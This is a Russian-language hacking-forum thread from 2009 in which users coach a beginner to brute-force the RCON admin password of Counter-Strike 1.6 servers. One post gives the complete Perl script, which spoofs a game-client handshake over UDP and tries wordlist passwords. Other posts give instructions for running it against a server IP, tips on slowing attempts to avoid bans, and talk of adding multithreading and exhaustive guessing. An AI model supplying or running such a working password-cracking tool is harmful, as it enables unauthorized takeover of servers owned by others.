ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 19.06.2009, 11:19
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Question

Цитата:
Сообщение от eLWAux  
br1tva, посмотри на свой скриншот, но окно брута PlayerPassword. ты его не подобрал, т.е. ты не знаешь пароль доступа к серверу, т.е. ты не сможешь даже зайти туда, не то что rcon подобрать..
сперва подбери пароль к серверу (csBrute-PlayerPassword) , а потом к rcon'y:
Код:
csBrute-RconPassword.pl <host> <port> пароль к серверу <name>
eLWAux сорри за глупые в перле я не сильно шарю вопросы,но опишу порядок своих действий .
1)поставил ActivePerl-5.10.0.1003
2)нашел сервачек в своей локалке к примеру вот
204.205.206.207:27015
3)захожу в файл csBrute-RconPassword.pl блокнотом
правлю там строки(1.2.3.4 меняю на 204.205.206.207;строки abc usernamer не трогаю ),

use IO::Socket;

print "\n".
" CS <RCON password> bruter\n".
" eLwaux(c)2009\n\n\n";

if (!$ARGV[0]) {
print " use: csBrute.pl <host> <port> <server password > <name>\n".
" csBrute.pl 204.205.206.207 27015 abc usernamer\n";

4)2 раза мышью кликаю на файле csBrute-RconPassword.pl ,а он отрывается и тут же закрывается .
Что не так делаю? Ведь на серваке нет <server password > <name>,а я их не меняю ну и имя админа впринципе никчему для брута.
 
Ответить с цитированием

  #22  
Старый 19.06.2009, 12:14
Dark_cracker
Познающий
Регистрация: 29.05.2009
Сообщений: 55
С нами: 8922379

Репутация: 7
По умолчанию

перл запускать нужно через командную строку.
 
Ответить с цитированием

  #23  
Старый 19.06.2009, 12:53
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Question

Цитата:
Сообщение от Dark_cracker  
перл запускать нужно через командную строку.
ппс попробовал через командную ввожу IP и порт и нифига стоит eLWAux и br1tva поможите!

Последний раз редактировалось Oledga; 19.06.2009 в 13:02..
 
Ответить с цитированием

  #24  
Старый 19.06.2009, 13:13
br1tva
Познающий
Регистрация: 26.12.2007
Сообщений: 38
С нами: 9671107

Репутация: 8
По умолчанию

Напиши свою асю , помогу разобраться !!
 
Ответить с цитированием

  #25  
Старый 19.06.2009, 14:46
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Unhappy

Цитата:
Сообщение от br1tva  
Напиши свою асю , помогу разобраться !!
аси нету есь емаил найдеш в моем профиле или луче через форум я постоянно сморю его в ету тему пиши
,а так то я все правильно сделал?У мня 2 сетевухи 2 мож отрубить надо попробую вечером мож запашет
 
Ответить с цитированием

  #26  
Старый 19.06.2009, 15:56
br1tva
Познающий
Регистрация: 26.12.2007
Сообщений: 38
С нами: 9671107

Репутация: 8
По умолчанию

Для начала тебе нужно немного подправить код csBrute-RconPassword.pl , открой csBrute-RconPassword.pl блокнотом NotePad далее замени код на вот этот:

use IO::Socket;

print "\n".
" CS <RCON password> bruter\n".
" eLwaux(c)2009\n\n\n";

if (!$ARGV[0]) {
print " use: csBrute.pl <host> <port> <server password > <name>\n".
" csBrute.pl 1.2.3.4 27015 abc usernamer\n";
exit(0);
}

$host = shift || '1.2.103.250';
$port = shift || '27015';
$serverpass = shift || 'n0th1ng';
$name = shift || 'pomKa';


$pasw = 'server is not protected by password!';
open (FILE, '<pass.txt') || die(" [-] pass.txt not found!\n");
my @p : shared = <FILE>;
print ' > Loaded '.scalar(@p)." password(s)\n";
chomp(@p);
close(FILE);


my $good = 0;

my $sock = new IO::Socket::INET(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>'udp') || die " [-] server not found!";

$c = "\xFF\xFF\xFF\xFFgetchallenge valve\x0a";
syswrite $sock, $c;
sysread $sock,$a,65535;
# ****A00000000 99271855 2


if ($a =~ /\xFF\xFF\xFF\xFFA00000000\x20(\d+)/) {
$id = $1;
$c =
"\xFF\xFF\xFF\xFF".
"connect 47 ".$id." ".
'"\prot\2\raw\d984a05fa268b7cc6ac052a38960aeb'.ran d(9).'" '.#2
'"'.
'\_cl_autowepswitch\1'.
'\bottomcolor\6'.
'\cl_dlmax\80'.
'\cl_lc\1'.
'\cl_lw\1'.
'\cl_updaterate\20'.
'\model\gordon'.
'\name\\'.$name.
'\topcolor\30'.
'\_pw\cracker'.
'\lac_id\LACID_NOLAC'.rand(9).''.
'\_vgui_menus\1'.
'\_ah\0'.
'\lang\ru'.
'\dzuid\DZUID_0:0:7528570'.rand(9).''.#9
'\rate\25000'.
'\*fid\0'.
'\password\\'.$serverpass.
'"'."\x0a";
# print $c;
syswrite $sock, $c;
sysread $sock,$a,65535;

# full server: ****B 129 "1.2.3.4:25015" 0
# unk password: BADPASSWORD
# serv full : SERVERISFULL
if ($a =~ /SERVERISFULL/) {
print 'FULL SERVER. waiting few seconds..'."\n";
sleep(10);
}
elsif($a =~ /BADPASSWORD/) {
print " [-] Bad PlayerPassword!\n";
exit(0);
}
else { $good = 1; }
} else {
if ($a=~/banned/) {

print ' [!] you are banned!'."\n".
" change IP!\n";
exit(0);
} else {
print ' [-] some trouble with answer ('.$a.')!'."\n";
exit(0);
}
}

while(1) {
sleep(10);
# server is not full
# and we are connected
$c = "\xFF\xFF\xFF\xFF".
"rcon ".$id.' "'.$pasw.'" sv_restart 1'."\x00";
syswrite $sock, $c;
sysread $sock,$a,65535;
# print '---'.$a."\n\n\n\n";
if ($a =~ /Bad rcon_password/) {
#bad rcon_password
print ' - '.$pasw."\n";
} else {
print ' [+] '.$pasw."\n";
exit(0);
}

$pasw = shift @p;
if (!$pasw) {print ' [-] password not found!';exit(0);}
}
exit();

Далее заходишь в c:\WINDOWS\system32\ и находишь там файл cmd.exe , копируешь его в папку с брутом.
В папке с брутом запускаешь cmd.exe и в командной строке прописываешь следующие: csBrute-RconPassword.pl 78.84.231.21 27015

Вместо 78.84.231.21 ип адрес сервера который ты собрался брутить.

P.S
Теперь вопросов не должно быть (=
 
Ответить с цитированием

  #27  
Старый 19.06.2009, 16:14
lamer28
Познающий
Регистрация: 16.04.2009
Сообщений: 83
С нами: 8984227

Репутация: 16
По умолчанию

а если rcon пустой? xDDD
 
Ответить с цитированием

  #28  
Старый 19.06.2009, 22:01
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Thumbs up

Цитата:
Сообщение от br1tva  
Для начала тебе нужно немного подправить код csBrute-RconPassword.pl , открой csBrute-RconPassword.pl блокнотом NotePad далее замени код на вот этот:

[color=red] use IO::Socket;


Вместо 78.84.231.21 ип адрес сервера который ты собрался брутить.

P.S
Теперь вопросов не должно быть (=
Спасибус огромнейшус я вроде так и делал тока сначала запускал командную строку а потом мышкой перетаскивал в нее файл csBrute-RconPassword.pl ,прописывал айпи и порт и нифига стоит кстати потом еще раз попробовал по твоему способу нашел пароль ,а перетаскиванием мышью нехатит. Скорость тока малявата и многопоточности бы добавить немешало(для увеличения скорости).Ну это уже кое-что будем эксперемнтировать дальше скорость ведь надо поднимать ,завтра есче на своем цевильном с amx_плагинами серваке попробую обязательно отпишусь.
 
Ответить с цитированием

  #29  
Старый 19.06.2009, 22:04
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Talking

Цитата:
Сообщение от lamer28  
а если rcon пустой? xDDD
Наскоко я лазил по всяким форумам с рконом писали,что такого в природе не существует могет тока у хакеров
 
Ответить с цитированием

  #30  
Старый 19.06.2009, 22:27
Oledga
Новичок
Регистрация: 18.06.2009
Сообщений: 19
С нами: 8893949

Репутация: 6
Question

Цитата:
Сообщение от br1tva  
со sleep (3) всё таки сервер банит ... а вот с sleep(10) брутит на ура (=
sleep (3) и sleep(10) ,цифры 3 и 10 означают задержку в секундах перед постановкой нового пароля?Да и ещё а как сохранять пройденный этап в словаре моно как то реализовать. И как сделать с полным перебором по буквам и символам чтоб он работал,т.е. даж без словарика.

Последний раз редактировалось Oledga; 19.06.2009 в 22:32..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Продам скрипт мониторинг серверов Counter Strike 1.6 1ce666 Разное - Покупка, продажа, обмен 24 15.12.2009 09:17
Кто хочет поиграть в Counter Strike 1.6 .AkeLLa Болталка 53 17.02.2009 23:27
Counter Strike ronald С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 11 05.01.2009 20:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.